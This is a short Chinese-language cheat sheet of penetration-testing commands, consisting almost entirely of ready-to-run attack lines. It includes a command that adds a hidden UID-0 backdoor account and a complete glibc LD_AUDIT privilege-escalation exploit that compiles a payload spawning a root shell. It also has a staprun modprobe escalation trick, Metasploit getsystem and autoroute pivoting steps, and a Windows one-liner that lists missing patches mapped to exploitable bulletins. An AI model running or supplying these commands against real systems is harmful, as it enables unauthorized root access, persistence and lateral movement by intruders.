渗透测试中的命令小记

linux命令行下加用户 useradd -g 0 -u 0 -o user echo user:passwd |chpasswd

提权 mkdir gh ln /bin/ping gh/target exec 3< gh/target rm -rf gh echo 'void attribute((constructor)) init(){setuid(0);setuid(0);system("/bin/sh -i");}' > payload.c gcc -w -fPIC -shared -o gh payload.c LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

提权 printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever

msf提权: getuid getprivs getsystem

msf跳板 metpre> run get_local_subnets background run autoroute -s 192.168.0.0/24 run autoroute -p // route print route add

win 本地提权 systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt

KB2360937 MS10-084 KB2478960 MS11-014 KB2507938 MS11-056 KB2566454 MS11-062 KB2646524 MS12-003 KB2645640 MS12-009 KB2641653 MS12-018 KB944653 MS07-067 KB952004 MS09-012 KB971657 MS09-041 KB2620712 MS11-097 KB2393802 MS11-011 kb942831 MS08-005 KB2503665 MS11-046 KB2592799 MS11-080